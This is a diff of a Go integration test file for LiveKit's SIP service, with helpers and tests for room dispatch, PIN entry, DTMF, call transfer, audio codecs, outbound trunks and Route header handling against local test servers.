clientNumber, - Kind: livekit.ParticipantInfo_SIP, - Metadata: meta, - Attributes: map[string]string{ - "sip.callID": lktest.AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": serverNumber, - "sip.phoneNumber": clientNumber, - "sip.ruleID": nc.RuleID, - "sip.trunkID": nc.TrunkID, - "lktest.id": clientID, - customAttr: customVal, - }, - }, - }) -} - -func TestSIPJoinRoomIndividual(t *testing.T) { - lk := runLiveKit(t) - srv := runSIPServer(t, lk) - - const ( - clientID = "test-cli" - roomPref = "test-pref" - meta = `{"test":true}` - customAttr = "my.attr" - customVal = "custom" - ) - - nc := srv.CreateTrunkAndIndividual(t, &livekit.SIPInboundTrunkInfo{ - Numbers: []string{serverNumber}, - }, roomPref, "", meta, map[string]string{ - customAttr: customVal, - }) - - ctx, cancel := context.WithTimeout(context.Background(), participantsJoinTimeout) - defer cancel() - - // runClient waits for SIP to completely dial, but this won't happen until we connect - // another participant to that room. - // So we have to monitor rooms separately and connect participant as soon as there's a room with our prefix. - rch := make(chan *livekit.Room, 1) - go func() { - defer close(rch) - room := lk.ExpectRoomPref(t, ctx, roomPref, clientNumber, false) - lk.ConnectWithAudio(t, room.Name, "test", nil) - rch <- room - }() - - cli := runClient(t, nc, srv.IP, clientID, clientNumber, false, nil, nil, nil, nil) - - // Send audio, so that we don't trigger media timeout. - mctx, mcancel := context.WithCancel(context.Background()) - defer mcancel() - go cli.SendSilence(mctx) - - // Room should be created automatically with exact prefix containing phone number. - // SIP participant should be visible and have a proper kind. - select { - case <-ctx.Done(): - t.Fatal("cannot find the room") - case room := <-rch: - lk.ExpectParticipants(t, ctx, room.Name, []lktest.ParticipantInfo{ - { - Identity: "test", - Kind: livekit.ParticipantInfo_STANDARD, - }, - { - Identity: "sip_" + clientNumber, - Name: "Phone " + clientNumber, - Kind: livekit.ParticipantInfo_SIP, - Metadata: meta, - Attributes: map[string]string{ - "sip.callID": lktest.AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": serverNumber, - "sip.phoneNumber": clientNumber, - "sip.ruleID": nc.RuleID, - "sip.trunkID": nc.TrunkID, - "lktest.id": clientID, - customAttr: customVal, - }, - }, - }) - } -} - -func TestSIPAudio(t *testing.T) { - for _, codec := range []string{ - g711.ULawSDPNameAndRate, - g722.SDPNameAndRate, - } { - codec := codec - t.Run(codec, func(t *testing.T) { - for _, N := range []int{2, 3} { - N := N - t.Run(fmt.Sprintf("%d clients", N), func(t *testing.T) { - lk := runLiveKit(t) - srv := runSIPServer(t, lk) - - const ( - roomName = "test-open" - meta = `{"test":true}` - customAttr = "my.attr" - customVal = "custom" - ) - nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ - Numbers: []string{serverNumber}, - }, roomName, "", meta, map[string]string{ - customAttr: customVal, - }) - - // Connect clients and wait for them to join. - var ( - wg sync.WaitGroup - mu sync.Mutex - clients = make([]*siptest.Client, N) - audios = make([]lktest.AudioParticipant, N) - ) - for i := 0; i < N; i++ { - codec := codec - if i == 0 { - // Make first client always use the same codec. - // This way we can see how different codecs interact. - codec = g711.ULawSDPNameAndRate - } - wg.Add(1) - go func() { - defer wg.Done() - cli := runClientWithCodec(t, nc, srv.IP, strconv.Itoa(i+1), fmt.Sprintf("+%d", 111111111*(i+1)), codec, false, nil, nil, nil, nil) - mu.Lock() - clients[i] = cli - audios[i] = cli - mu.Unlock() - }() - } - wg.Wait() - t.Log("Participants dialed") - ctx, cancel := context.WithTimeout(context.Background(), participantsJoinTimeout*time.Duration(N)) - defer cancel() - var exp []lktest.ParticipantInfo - for i := range clients { - exp = append(exp, lktest.ParticipantInfo{ - Identity: fmt.Sprintf("sip_+%d", 111111111*(i+1)), - Name: fmt.Sprintf("Phone +%d", 111111111*(i+1)), - Kind: livekit.ParticipantInfo_SIP, - Metadata: meta, - Attributes: map[string]string{ - "sip.callID": lktest.AttrTestAny, // special case - "sip.callStatus": "active", - "sip.trunkPhoneNumber": serverNumber, - "sip.phoneNumber": fmt.Sprintf("+%d", 111111111*(i+1)), - "sip.ruleID": nc.RuleID, - "sip.trunkID": nc.TrunkID, - "lktest.id": strconv.Itoa(i + 1), - customAttr: customVal, - }, - }) - } - lk.ExpectRoomWithParticipants(t, ctx, roomName, exp) - t.Log("Participants join confirmed, testing audio") - - ctx, cancel = context.WithTimeout(context.Background(), 10*time.Second) - defer cancel() - lktest.CheckAudioForParticipants(t, ctx, audios...) - cancel() - - t.Log("Success, cleaning up") - - // Stop everything and ensure the room is empty afterward. - for _, cli := range clients { - wg.Add(1) - go func() { - defer wg.Done() - cli.Close() - }() - } - wg.Wait() - - ctx, cancel = context.WithTimeout(context.Background(), participantsLeaveTimeout) - defer cancel() - lk.ExpectRoomWithParticipants(t, ctx, roomName, nil) - }) - } - }) - } -} - -func TestSIPOutbound(t *testing.T) { - // Run two LK and SIP servers and make a SIP call from one to the other. - lkOut := runLiveKit(t) - lkIn := runLiveKit(t) - srvOut := runSIPServer(t, lkOut) - srvIn := runSIPServer(t, lkIn) - - const ( - roomIn = "inbound" - userName = "test-user" - userPass = "test-pass" - roomPin = "*1234" - meta = `{"test":true}` - ) - - for _, tr := range []livekit.SIPTransport{ - livekit.SIPTransport_SIP_TRANSPORT_UDP, - livekit.SIPTransport_SIP_TRANSPORT_TCP, - } { - t.Run(tr.String(), func(t *testing.T) { - for _, withPin := range []bool{true, false} { - name := "pin" - if !withPin { - name = "open" - } - t.Run(name, func(t *testing.T) { - headersIn := map[string]string{ - "X-LK-From-1": "inbound", - } - roomPin := roomPin - if withPin { - // We cannot set headers because of the PIN. See TestSIPJoinPinRoom for details. - delete(headersIn, "X-LK-From-1") - } else { - roomPin = "" - } - // Configure Trunk for inbound server. - trunkIn := srvIn.CreateTrunkIn(t, &livekit.SIPInboundTrunkInfo{ - Name: "Test In", - Numbers: []string{serverNumber}, - AuthUsername: userName, - AuthPassword: userPass, - Headers: headersIn, - HeadersToAttributes: map[string]string{ - "X-LK-From-2": "test.lk.from", - }, - }) - t.Cleanup(func() { - srvIn.DeleteTrunk(t, trunkIn) - }) - ruleIn := srvIn.CreateDirectDispatch(t, roomIn, roomPin, meta, nil) - t.Cleanup(func() { - srvIn.DeleteDispatch(t, ruleIn) - }) - - // Configure Trunk for outbound server and make a SIP call. - trunkOut := srvOut.CreateTrunkOut(t, &livekit.SIPOutboundTrunkInfo{ - Name: "Test Out", - Numbers: []string{clientNumber}, - Address: srvIn.Address, - Transport: tr, - AuthUsername: userName, - AuthPassword: userPass, - Headers: map[string]string{ - "X-LK-From-2": "outbound", - }, - HeadersToAttributes: map[string]string{ - "X-LK-From-1": "test.lk.from", - }, - }) - t.Cleanup(func() { - srvOut.DeleteTrunk(t, trunkOut) - }) - - ctx, cancel := context.WithTimeout(context.Background(), time.Minute) - defer cancel() - - expAttrsIn := map[string]string{ - "test.lk.from": "outbound", - } - expAttrsOut := map[string]string{ - "test.lk.from": "inbound", - } - if withPin { - delete(expAttrsOut, "test.lk.from") - } - // Run the test twice to make sure participants with the same identities can be re-created. - for i := 0; i < 2; i++ { - // Running sub test here is important, because TestSIPOutbound registers Cleanup funcs. - t.Run(fmt.Sprintf("run %d", i+1), func(t *testing.T) { - lktest.TestSIPOutbound(t, ctx, lkOut.LiveKit, lkIn.LiveKit, lktest.SIPOutboundTestParams{ - TrunkOut: trunkOut, - RoomOut: "outbound", - TrunkIn: trunkIn, - RuleIn: ruleIn, - AttrsIn: expAttrsIn, - AttrsOut: expAttrsOut, - }) - }) - } - }) - } - }) - } -} - -func TestSIPOutboundRouteHeader(t *testing.T) { - // Test that when a Route header is specified in CreateSIPParticipant request, - // the SIP message is sent to the route header target instead of the request URI. - - // Set up two LiveKit servers and SIP servers - lkOut := runLiveKit(t) - lkIn := runLiveKit(t) - srvOut := runSIPServer(t, lkOut) - srvIn := runSIPServer(t, lkIn) - - const ( - roomIn = "inbound" - userName = "test-user" - userPass = "test-pass" - meta = `{"test":true}` - ) - - // Configure Trunk for inbound server - trunkIn := srvIn.CreateTrunkIn(t, &livekit.SIPInboundTrunkInfo{ - Name: "Test In", - Numbers: []string{serverNumber}, - AuthUsername: userName, - AuthPassword: userPass, - }) - t.Cleanup(func() { - srvIn.DeleteTrunk(t, trunkIn) - }) - - ruleIn := srvIn.CreateDirectDispatch(t, roomIn, "", meta, nil) - t.Cleanup(func() { - srvIn.DeleteDispatch(t, ruleIn) - }) - - // Create a mock SIP server that will receive the route header target - // This server should be different from the request URI - routeTarget := "127.0.0.1:5061" // Different from srvIn.Address - - // Set up a mock SIP server to capture the route header target - // We'll create a simple UDP server that can receive and log the SIP message - routeServer, err := net.ListenPacket("udp", routeTarget) - require.NoError(t, err) - defer routeServer.Close() - - // Channel to capture received messages - receivedMessages := make(chan string, 10) - - // Start a goroutine to listen for messages on the route target - go func() { - buffer := make([]byte, 1024) - for { - n, addr, err := routeServer.ReadFrom(buffer) - if err != nil { - return - } - message := string(buffer[:n]) - receivedMessages <- message - t.Logf("Route server received message from %s: %s", addr, message) - } - }() - - // Configure Trunk for outbound server with the request URI (different from route target) - trunkOut := srvOut.CreateTrunkOut(t, &livekit.SIPOutboundTrunkInfo{ - Name: "Test Out", - Numbers: []string{clientNumber}, - Address: srvIn.Address, // This will be the request URI - Transport: livekit.SIPTransport_SIP_TRANSPORT_UDP, - AuthUsername: userName, - AuthPassword: userPass, - }) - t.Cleanup(func() { - srvOut.DeleteTrunk(t, trunkOut) - }) - - // Create the outbound SIP participant with a Route header - // The Route header should point to a different destination than the request URI - routeHeader := fmt.Sprintf("", routeTarget) - - // Create the SIP participant with the Route header - // We need to pass the Route header in the headers map - headers := map[string]string{ - "Route": routeHeader, - } - - // Create the outbound SIP participant with the Route header - t.Logf("Testing Route header: %s", routeHeader) - t.Logf("Request URI target: %s", srvIn.Address) - t.Logf("Route header target: %s", routeTarget) - - // Create the outbound SIP participant - r := lkOut.CreateSIPParticipant(t, &livekit.CreateSIPParticipantRequest{ - SipTrunkId: trunkOut, - SipCallTo: serverNumber, - RoomName: "outbound", - ParticipantIdentity: "siptest_outbound", - ParticipantName: "Outbound Call", - ParticipantMetadata: `{"test":true, "dir": "out"}`, - Headers: headers, // This is the key - passing the Route header - }) - t.Logf("outbound call ID: %s", r.SipCallId) - - // Wait a bit to see if any messages are received on the route target - select { - case msg := <-receivedMessages: - t.Logf("Received message on route target: %s", msg) - // If we receive a message, it means the Route header is working - require.Contains(t, msg, "INVITE", "Should receive INVITE message on route target") - t.Log("SUCCESS: Route header is working - message was sent to route target instead of request URI") - case <-time.After(10 * time.Second): - t.Fatal("No message received on route target within timeout - Route header processing is not working correctly") - } -} +package integration + +import ( + "context" + "fmt" + "log/slog" + "math/rand" + "net" + "net/netip" + "os" + "strconv" + "sync" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/livekit/protocol/tracer/jaeger" + "github.com/livekit/psrpc/pkg/middleware/otelpsrpc" + + "github.com/livekit/media-sdk/dtmf" + "github.com/livekit/media-sdk/g711" + "github.com/livekit/media-sdk/g722" + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/protocol/redis" + "github.com/livekit/protocol/rpc" + "github.com/livekit/protocol/utils" + "github.com/livekit/psrpc" + lksdk "github.com/livekit/server-sdk-go/v2" + sipgo "github.com/livekit/sipgo/sip" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/service" + "github.com/livekit/sip/pkg/sip" + "github.com/livekit/sip/pkg/siptest" + "github.com/livekit/sip/pkg/stats" + "github.com/livekit/sip/test/lktest" +) + +type SIPServer struct { + LiveKit *LiveKit + Client *lksdk.SIPClient + IP netip.Addr + Address string + Host string +} + +func runSIPServer(t testing.TB, lk *LiveKit) *SIPServer { + rc, err := redis.GetRedisClient(lk.Redis) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + _ = rc.Close() + }) + + sipPort := 5060 + rand.Intn(1000) + local, err := config.GetLocalIP() + require.NoError(t, err) + conf := &config.Config{ + ServiceName: "sip", + NodeID: utils.NewGuid("NS_"), + ApiKey: lk.ApiKey, + ApiSecret: lk.ApiSecret, + WsUrl: lk.WsUrl, + Redis: lk.Redis, + PSRPC: rpc.DefaultPSRPCConfig, + SIPPort: sipPort, + SIPPortListen: sipPort, + ListenIP: local.String(), + LocalNet: local.String() + "/24", + RTPPort: rtcconfig.PortRange{Start: 20000, End: 20010}, + UseExternalIP: false, + MaxCpuUtilization: 0.9, + Logging: logger.Config{Level: "debug"}, + EnableJitterBuffer: true, + JaegerURL: os.Getenv("JAEGER_URL"), + } + _ = conf.InitLogger() + log := logger.NewTestLogger(t) + if conf.JaegerURL != "" { + jaeger.Configure(t.Context(), conf.JaegerURL, conf.ServiceName) + } + + bus := psrpc.NewRedisMessageBus(rc, conf.PSRPC.BusOptions()...) + psrpcCli, err := rpc.NewIOInfoClient(bus, + otelpsrpc.ClientOptions(otelpsrpc.Config{}), + ) + if err != nil { + t.Fatal(err) + } + + mon, err := stats.NewMonitor(conf) + if err != nil { + t.Fatal(err) + } + sipsrv, err := sip.NewService("", conf, mon, log, func(projectID string, _ *rpc.SIPCallObservability, _ *livekit.SIPCallInfo) sip.StateHandler { + return sip.NewRPCStateHandler(psrpcCli) + }) + if err != nil { + t.Fatal(err) + } + + svc := service.NewService(conf, log, sipsrv, sipsrv.Stop, sipsrv.ActiveCalls, psrpcCli, bus, mon) + sipsrv.SetHandler(svc) + t.Cleanup(func() { + svc.Stop(true) + }) + + if err = sipsrv.Start(); err != nil { + t.Fatal(err) + } + t.Cleanup(sipsrv.Stop) + + go func() { + if err := svc.Run(); err != nil { + t.Fatal(err) + } + }() + time.Sleep(time.Second * 2) + + // TODO: If we try to dial localhost here, the first packet will go to 127.0.0.1, while the server will + // respond from an IP that was selected above. This breaks the SIP client because it uses net.DialUDP, + // which in turn only accepts UDP from the address used in DialUDP. + addr := local + return &SIPServer{ + LiveKit: lk, + Client: lksdk.NewSIPClient(lk.WsUrl, lk.ApiKey, lk.ApiSecret), + IP: addr, + Address: fmt.Sprintf("%s:%d", addr, conf.SIPPort), + Host: "sip.local", + } +} + +type NumberConfig struct { + SIP *SIPServer + TrunkID string + RuleID string + Number string + Pin string + AuthUser string + AuthPass string +} + +func (s *SIPServer) CreateTrunkOut(t testing.TB, trunk *livekit.SIPOutboundTrunkInfo) string { + ctx := context.Background() + tr, err := s.Client.CreateSIPOutboundTrunk(ctx, &livekit.CreateSIPOutboundTrunkRequest{ + Trunk: trunk, + }) + if err != nil { + t.Fatal(err) + } + t.Log("New trunk (outbound):", tr.SipTrunkId) + return tr.SipTrunkId +} + +func (s *SIPServer) CreateTrunkIn(t testing.TB, trunk *livekit.SIPInboundTrunkInfo) string { + ctx := context.Background() + tr, err := s.Client.CreateSIPInboundTrunk(ctx, &livekit.CreateSIPInboundTrunkRequest{ + Trunk: trunk, + }) + if err != nil { + t.Fatal(err) + } + t.Log("New trunk (inbound):", tr.SipTrunkId) + return tr.SipTrunkId +} + +func (s *SIPServer) DeleteTrunk(t testing.TB, id string) { + ctx := context.Background() + _, err := s.Client.DeleteSIPTrunk(ctx, &livekit.DeleteSIPTrunkRequest{ + SipTrunkId: id, + }) + if err != nil { + t.Fatal(id, err) + } +} + +func (s *SIPServer) CreateTrunkAndDirect(t testing.TB, trunk *livekit.SIPInboundTrunkInfo, room, pin string, meta string, attrs map[string]string) *NumberConfig { + trunkID := s.CreateTrunkIn(t, trunk) + ruleID := s.CreateDirectDispatch(t, room, pin, meta, attrs) + return &NumberConfig{ + SIP: s, + TrunkID: trunkID, RuleID: ruleID, + Number: trunk.Numbers[0], Pin: pin, + } +} + +func (s *SIPServer) CreateTrunkAndIndividual(t testing.TB, trunk *livekit.SIPInboundTrunkInfo, room, pin string, meta string, attrs map[string]string) *NumberConfig { + trunkID := s.CreateTrunkIn(t, trunk) + ruleID := s.CreateIndividualDispatch(t, room, pin, meta, attrs) + return &NumberConfig{ + SIP: s, + TrunkID: trunkID, RuleID: ruleID, + Number: trunk.Numbers[0], Pin: pin, + } +} + +func (s *SIPServer) CreateDirectDispatch(t testing.TB, room, pin string, meta string, attrs map[string]string) string { + ctx := context.Background() + dr, err := s.Client.CreateSIPDispatchRule(ctx, &livekit.CreateSIPDispatchRuleRequest{ + Name: room, + Metadata: meta, + Attributes: attrs, + Rule: &livekit.SIPDispatchRule{ + Rule: &livekit.SIPDispatchRule_DispatchRuleDirect{ + DispatchRuleDirect: &livekit.SIPDispatchRuleDirect{ + RoomName: room, Pin: pin, + }, + }, + }, + }) + if err != nil { + t.Fatal(err) + } + t.Log("New dispatch rule (direct):", dr.SipDispatchRuleId) + return dr.SipDispatchRuleId +} + +func (s *SIPServer) CreateIndividualDispatch(t testing.TB, pref, pin string, meta string, attrs map[string]string) string { + ctx := context.Background() + dr, err := s.Client.CreateSIPDispatchRule(ctx, &livekit.CreateSIPDispatchRuleRequest{ + Metadata: meta, + Attributes: attrs, + Rule: &livekit.SIPDispatchRule{ + Rule: &livekit.SIPDispatchRule_DispatchRuleIndividual{ + DispatchRuleIndividual: &livekit.SIPDispatchRuleIndividual{ + RoomPrefix: pref, Pin: pin, + }, + }, + }, + }) + if err != nil { + t.Fatal(err) + } + t.Log("Dispatch (individual):", dr.SipDispatchRuleId) + return dr.SipDispatchRuleId +} + +func (s *SIPServer) DeleteDispatch(t testing.TB, id string) { + ctx := context.Background() + _, err := s.Client.DeleteSIPDispatchRule(ctx, &livekit.DeleteSIPDispatchRuleRequest{ + SipDispatchRuleId: id, + }) + if err != nil { + t.Fatal(id, err) + } +} + +func runClient(t testing.TB, conf *NumberConfig, ip netip.Addr, id string, number string, forcePin bool, headers map[string]string, onDTMF func(ev dtmf.Event), onBye func(), onRefer func(req *sipgo.Request)) *siptest.Client { + return runClientWithCodec(t, conf, ip, id, number, "", forcePin, headers, onDTMF, onBye, onRefer) +} + +func runClientWithCodec(t testing.TB, conf *NumberConfig, ip netip.Addr, id, number string, codec string, forcePin bool, headers map[string]string, onDTMF func(ev dtmf.Event), onBye func(), onRefer func(req *sipgo.Request)) *siptest.Client { + cconf := siptest.ClientConfig{ + // IP: dockerBridgeIP, + IP: ip, + Number: number, + AuthUser: conf.AuthUser, + AuthPass: conf.AuthPass, + Codec: codec, + Log: slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{Level: slog.LevelDebug})), + OnMediaTimeout: func() { + t.Fatal("media timeout from server to test client") + }, + OnDTMF: onDTMF, + OnBye: onBye, + OnRefer: onRefer, + } + + cli, err := siptest.NewClient(id, cconf) + if err != nil { + t.Fatal(err) + } + t.Cleanup(cli.Close) + + err = cli.Dial(conf.SIP.Address, conf.SIP.Host, conf.Number, headers) + if err != nil { + t.Fatal(err) + } + if conf.Pin != "" || forcePin { + err = cli.SendDTMF(conf.Pin + "#") + if err != nil { + t.Fatal(err) + } + } + return cli +} + +const ( + serverNumber = "+000000000" + clientNumber = "+111111111" + transferNumber = "+222222222" + participantsJoinTimeout = 5 * time.Second + participantsJoinWithPinTimeout = participantsJoinTimeout + 5*time.Second + participantsLeaveTimeout = 3 * time.Second + webrtcSetupDelay = 5 * time.Second + notifyIntervalDelay = 100 * time.Millisecond +) + +func TestSIPJoinOpenRoom(t *testing.T) { + lk := runLiveKit(t) + var ( + dmu sync.Mutex + dtmfOut string + dtmfIn string + referRequest *sipgo.Request + ) + const ( + clientID = "test-cli" + roomName = "test-open" + meta = `{"test":true}` + customAttr = "my.attr" + customVal = "custom" + ) + r := lk.ConnectWithAudio(t, roomName, "test", &lksdk.RoomCallback{ + ParticipantCallback: lksdk.ParticipantCallback{ + OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { + switch data := data.(type) { + case *livekit.SipDTMF: + dmu.Lock() + dtmfOut += data.Digit + dmu.Unlock() + } + }, + }, + }) + srv := runSIPServer(t, lk) + + nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ + Numbers: []string{serverNumber}, + Headers: map[string]string{ + "X-LK-Accepted": "1", + }, + HeadersToAttributes: map[string]string{ + "X-LK-Inbound": "test.lk.inbound", + }, + }, roomName, "", meta, map[string]string{ + customAttr: customVal, + }) + + transferDone := make(chan struct{}) + byeReceived := make(chan struct{}) + + cli := runClient(t, nc, srv.IP, clientID, clientNumber, false, map[string]string{ + "X-LK-Inbound": "1", + }, func(ev dtmf.Event) { + dmu.Lock() + defer dmu.Unlock() + dtmfIn += string(ev.Digit) + }, func() { + close(byeReceived) + }, func(req *sipgo.Request) { + dmu.Lock() + defer dmu.Unlock() + referRequest = req + }) + + h := sip.Headers(cli.RemoteHeaders()).GetHeader("X-LK-Accepted") + require.NotNil(t, h) + require.Equal(t, "1", h.Value()) + + // Send audio, so that we don't trigger media timeout. + mctx, mcancel := context.WithCancel(context.Background()) + defer mcancel() + go cli.SendSilence(mctx) + + // Room should be created automatically with exact name. + // SIP participant should be visible and have a proper kind. + ctx, cancel := context.WithTimeout(context.Background(), participantsJoinTimeout) + defer cancel() + lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ + {Identity: "test"}, + { + Identity: "sip_" + clientNumber, + Name: "Phone " + clientNumber, + Kind: livekit.ParticipantInfo_SIP, + Metadata: meta, + Attributes: map[string]string{ + "sip.callID": lktest.AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": serverNumber, + "sip.phoneNumber": clientNumber, + "sip.ruleID": nc.RuleID, + "sip.trunkID": nc.TrunkID, + "lktest.id": clientID, + "test.lk.inbound": "1", // from SIP headers + customAttr: customVal, + }, + }, + }) + + // Wait for WebRTC to come online. + time.Sleep(webrtcSetupDelay) + + // Test that we can send DTMF data to LK participants. + const dtmfDigits = "*111#" + err := cli.SendDTMF(dtmfDigits) + require.NoError(t, err) + + require.Eventually(t, func() bool { + dmu.Lock() + defer dmu.Unlock() + return dtmfOut == dtmfDigits + }, 5*time.Second, time.Second/2) + + err = r.LocalParticipant.PublishDataPacket(&livekit.SipDTMF{Digit: "4567"}, lksdk.WithDataPublishReliable(true)) + require.NoError(t, err) + + require.Eventually(t, func() bool { + dmu.Lock() + defer dmu.Unlock() + return dtmfIn == "4567" + }, 5*time.Second, time.Second/2) + + go func() { + // TransferSIPParticipant is synchronous + _, err = lk.SIP.TransferSIPParticipant(context.Background(), &livekit.TransferSIPParticipantRequest{ + RoomName: roomName, + ParticipantIdentity: "sip_" + clientNumber, + TransferTo: "tel:" + transferNumber, + }) + require.NoError(t, err) + close(transferDone) + }() + + require.Eventually(t, func() bool { + dmu.Lock() + defer dmu.Unlock() + + return referRequest != nil + + }, 5*time.Second, time.Second/2) + + require.Equal(t, sipgo.REFER, referRequest.Method) + transferTo := referRequest.GetHeader("Refer-To") + require.Equal(t, "", transferTo.Value()) + + time.Sleep(notifyIntervalDelay) + err = cli.SendNotify(referRequest, "SIP/2.0 100 Trying") + require.NoError(t, err) + + time.Sleep(notifyIntervalDelay) + err = cli.SendNotify(referRequest, "SIP/2.0 200 OK") + require.NoError(t, err) + + select { + case <-transferDone: + case <-time.After(participantsLeaveTimeout): + t.Fatal("participant transfer call never completed") + } + + select { + case <-byeReceived: + case <-time.After(participantsLeaveTimeout): + t.Fatal("did not receive bye after notify") + } + + cli.Close() + r.Disconnect() + + // SIP participant should have left + ctx, cancel = context.WithTimeout(context.Background(), participantsLeaveTimeout) + defer cancel() + lk.ExpectRoomWithParticipants(t, ctx, roomName, nil) +} + +func TestSIPJoinPinRoom(t *testing.T) { + lk := runLiveKit(t) + var ( + dmu sync.Mutex + dtmf string + referRequest *sipgo.Request + ) + const ( + clientID = "test-cli" + roomName = "test-priv" + meta = `{"test":true}` + customAttr = "my.attr" + customVal = "custom" + ) + r := lk.Connect(t, roomName, "test", &lksdk.RoomCallback{ + ParticipantCallback: lksdk.ParticipantCallback{ + OnDataPacket: func(data lksdk.DataPacket, params lksdk.DataReceiveParams) { + switch data := data.(type) { + case *livekit.SipDTMF: + dmu.Lock() + dtmf += data.Digit + dmu.Unlock() + } + }, + }, + }) + srv := runSIPServer(t, lk) + + nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ + Numbers: []string{serverNumber}, + Headers: map[string]string{ + "X-LK-Accepted": "1", + }, + HeadersToAttributes: map[string]string{ + "X-LK-Inbound": "test.lk.inbound", + }, + }, roomName, "1234", meta, map[string]string{ + customAttr: customVal, + }) + + transferDone := make(chan struct{}) + + cli := runClient(t, nc, srv.IP, clientID, clientNumber, false, map[string]string{ + "X-LK-Inbound": "1", + }, nil, nil, func(req *sipgo.Request) { + dmu.Lock() + defer dmu.Unlock() + referRequest = req + }) + + // Even though we set this header in the dispatch rule, PIN forces us to send response earlier. + // Because of this, we can no longer attach attributes from a selected dispatch rule later. + h := sip.Headers(cli.RemoteHeaders()).GetHeader("X-LK-Accepted") + require.Nil(t, h) + + // Send audio, so that we don't trigger media timeout. + mctx, mcancel := context.WithCancel(context.Background()) + defer mcancel() + go cli.SendSilence(mctx) + + // Room should be created automatically with exact name. + // SIP participant should be visible and have a proper kind. + // This needs additional time for the "enter pin" message to end. + ctx, cancel := context.WithTimeout(context.Background(), participantsJoinWithPinTimeout) + defer cancel() + + lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ + {Identity: "test"}, + { + Identity: "sip_" + clientNumber, + Name: "Phone " + clientNumber, + Kind: livekit.ParticipantInfo_SIP, + Metadata: meta, + Attributes: map[string]string{ + "sip.callID": lktest.AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": serverNumber, + "sip.phoneNumber": clientNumber, + "sip.ruleID": nc.RuleID, + "sip.trunkID": nc.TrunkID, + "lktest.id": clientID, + "test.lk.inbound": "1", // from SIP headers + customAttr: customVal, + }, + }, + }) + + // Wait for WebRTC to come online. + time.Sleep(webrtcSetupDelay) + + // Stop sending audio. We need it for DTMF tones now. + cancel() + + // Test that we can send DTMF data to LK participants. + const dtmfDigits = "*111#" + err := cli.SendDTMF(dtmfDigits) + require.NoError(t, err) + + require.Eventually(t, func() bool { + dmu.Lock() + defer dmu.Unlock() + return dtmf == dtmfDigits + }, 5*time.Second, time.Second/2) + + go func() { + // TransferSIPParticipant is synchronous + _, err = lk.SIP.TransferSIPParticipant(context.Background(), &livekit.TransferSIPParticipantRequest{ + RoomName: "test-priv", + ParticipantIdentity: "sip_" + clientNumber, + TransferTo: "tel:" + transferNumber, + }) + require.Error(t, err) + close(transferDone) + }() + + require.Eventually(t, func() bool { + dmu.Lock() + defer dmu.Unlock() + + return referRequest != nil + + }, 5*time.Second, time.Second/2) + + require.Equal(t, sipgo.REFER, referRequest.Method) + transferTo := referRequest.GetHeader("Refer-To") + require.Equal(t, "", transferTo.Value()) + + time.Sleep(notifyIntervalDelay) + err = cli.SendNotify(referRequest, "SIP/2.0 403 Fobidden") + require.NoError(t, err) + + select { + case <-transferDone: + case <-time.After(participantsLeaveTimeout): + t.Fatal("participant transfer call never completed") + } + + // Participants should all still be there + time.Sleep(time.Second) + lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ + {Identity: "test"}, + { + Identity: "sip_" + clientNumber, + Name: "Phone " + clientNumber, + Kind: livekit.ParticipantInfo_SIP, + Metadata: meta, + Attributes: map[string]string{ + "sip.callID": lktest.AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": serverNumber, + "sip.phoneNumber": clientNumber, + "sip.ruleID": nc.RuleID, + "sip.trunkID": nc.TrunkID, + "lktest.id": clientID, + "test.lk.inbound": "1", // from SIP headers + customAttr: customVal, + }, + }, + }) + + cli.Close() + r.Disconnect() + + // SIP participant must disconnect from LK room on hangup. + ctx, cancel = context.WithTimeout(context.Background(), participantsLeaveTimeout) + defer cancel() + lk.ExpectRoomWithParticipants(t, ctx, roomName, nil) +} + +func TestSIPJoinOpenRoomWithPin(t *testing.T) { + lk := runLiveKit(t) + srv := runSIPServer(t, lk) + + const ( + clientID = "test-cli" + roomName = "test-open" + meta = `{"test":true}` + customAttr = "my.attr" + customVal = "custom" + ) + nc := srv.CreateTrunkAndDirect(t, &livekit.SIPInboundTrunkInfo{ + Numbers: []string{serverNumber}, + }, roomName, "", meta, map[string]string{ + customAttr: customVal, + }) + srv.CreateDirectDispatch(t, "test-priv", "1234", "", nil) + + cli := runClient(t, nc, srv.IP, clientID, clientNumber, true, nil, nil, nil, nil) + + // Send audio, so that we don't trigger media timeout. + mctx, mcancel := context.WithCancel(context.Background()) + defer mcancel() + go cli.SendSilence(mctx) + + // This needs additional time for the "enter pin" message to end. + ctx, cancel := context.WithTimeout(context.Background(), participantsJoinWithPinTimeout) + defer cancel() + lk.ExpectRoomWithParticipants(t, ctx, roomName, []lktest.ParticipantInfo{ + { + Identity: "sip_" + clientNumber, + Name: "Phone " + clientNumber, + Kind: livekit.ParticipantInfo_SIP, + Metadata: meta, + Attributes: map[string]string{ + "sip.callID": lktest.AttrTestAny, // special case + "sip.callStatus": "active", + "sip.trunkPhoneNumber": serverNumber, + "sip.phoneNumber": clientNumber, + "sip.ruleID": nc.RuleID, + "sip.trunkID": nc.TrunkID, + "lktest.id": clientID, + customAttr: customVal, + }, + }, + }) +} + +func TestSIPJoinRoomIndividual(t *testing.T) { + lk := runLiveKit(t) + srv := runSIPServer(t, lk) + + const ( + clientID = "test-cli" + roomPref = "test-pref" + meta = `{"test":true}` + customAttr = "my.attr" + customVal = "custom" + ) + + nc := srv.CreateTrunkAndIndividual(t, &livekit.SIPInboundTrunkInfo{ + Numbers: []string{serverNumber}, + }, roomPref, "", 